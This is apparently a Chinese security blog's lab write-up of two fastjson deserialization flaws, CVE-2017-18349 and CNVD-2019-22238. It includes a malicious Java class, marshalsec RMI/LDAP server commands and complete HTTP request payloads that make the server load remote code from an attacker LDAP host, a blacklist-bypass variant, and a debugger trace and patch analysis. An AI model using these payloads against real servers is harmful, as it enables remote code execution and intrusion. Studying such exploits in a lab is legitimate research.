什么是fastjson
举个例子,用户在登录提交信息的时候,会输入用户名、密码、验证码等,有的是直接GET参数提交,也就是para=…¶2=…,有些开发人员习惯使用POST提交,并且是JSON格式的,形如"{‘username’=‘admin’, ‘password’=‘123123’}",那么后台代码在解析的时候要能处理复杂的JSON格式,fastjson就是专门干这件事的,前面说过weblogic的XMLDecoder是专门负责将xml数据反序列化的,那么对象也就可以序列化成json的字符串,json字符串也就可以反序列化成对象了
CVE-2017-18349
漏洞简介
fastjson在解析json过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性,反序列化就是面向属性编程,不谋而合了,直接通过set注入就好了,这个autoType在对JSON字符串进行反序列化时,会读取@type的内容,把JSON内容反序列化成对象,并且调用set方法
说到java的反序列化,就绕不过JNDI、LDAP、RMI,之前说log4j的时候,就提到过,log4j通过JNDI提供的lookup去远程访问别的服务器的日志,那么这里也一样,fastjson也支持JNDI,JNDI也支持RMI和LDAP
影响范围
fastjson < 1.2.25
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
漏洞复现
由于我本机的java8版本比较新,这里就用vulhub+远程调试了
更改docker-compose文件,增加调试,我就用5005作为调试端口
version: '2'
services:
web:
image: vulhub/fastjson:1.2.24
ports:
- "8090:8090"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dserver.address=0.0.0.0 -Dserver.port=8090 -jar /usr/src/fastjsondemo.jar
访问,这个web的功能就是调用fastjson对用户发送的请求进行JSON反序列化
http://192.168.174.134:8090
一般像这种使用jar启动的docker环境,都可以用这种方式来调试,之前的shiro也一样,把容器里的/usr/src/fastjsondemo.jar拷贝出来先解压,再用idea打开,解不解压都行,因为idea加入到lib里就都能看
将vulhub给的利用java类,使用javac编译为class,当然命令可以自己写,这个是linux的容器
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/cve-2017-18349"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class编译完成后,使用python开放一个端口出来,这一步是为了让JNDI的RMI/LDAP读取恶意类
python -m http.server 1111
再使用marshalsec开放一个RMI/LDAP的服务,这一步是为了让fastjson通过RMI/LDAP访问我们构造的恶意类,我这里就用LDAP协议了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.99:1111/#TouchFile" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.2.99:1111/#TouchFile" 9999
BP发送请求,期望让fastjson对我们的请求进行反序列化,这里也一样我就用RMI协议了,如果上面用的LDAP那么dataSourceName字段的内容也用ldap
POST / HTTP/1.1
Host: 192.168.239.129:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 274
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.2.99:9999/TouchFile",
"autoCommit":true
}
}
fastjson-1.2.24.jar!\com\alibaba\fastjson\JSON.class的parseObject方法会继续调用parseObject方法,对我们的输入进行解析
fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class的parseObject方法,会调用deserialze进行反序列化
fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class的deserialze方法,已经生成了JdbcRowSetImpl的对象了
这里要再回到我们的payload了,我们给的dataSourceName和autoCommit都是有值的,就是告诉fastjson我们想要给dataSourceName和autoCommit设置值,那fastjson自然会满足我们的需求,去调用setDataSourceName和setAutoCommit方法
java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的setDataSourceName方法,这里会自动调用setDataSourceName给dataSourceName赋值
java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的setAutoCommit方法,当然也会自动调用connect方法,然后在调用setAutoCommit给autoCommit赋值,当然这个赋值操作已经无所谓了,我们要的是调用connect方法,所以这个赋值爱咋咋不关注了,payload处我们只需要给一个boolean类型的true/false都行
java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的connect方法,这里会嗲用lookup去访问内容,这个内容的值是this.getDataSourceName(),而我们发送的payload又让fastjson帮我们执行过setDataSourceName,所以这里this.getDataSourceName()就是ldap://192.168.2.99:9999/TouchFile,然后也就是fastjson调用lookup功能访问这个ldap执行我们的恶意类了
补丁分析
在反序列化之前加入了类的黑名单校验
// 新增的黑名单bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework
CNVD-2019-22238
漏洞简介
既然有补丁,有黑名单就有绕过
影响范围
Fastjson <= 1.2.47
在1.2.45版本中,checkAutoType校验已经比当年的补丁复杂多了
漏洞复现
python和ldap那块都不用动,换个请求体
POST / HTTP/1.1
Host: 192.168.174.134:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 268
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.2.99:9999/TouchFile",
"autoCommit":true
}
}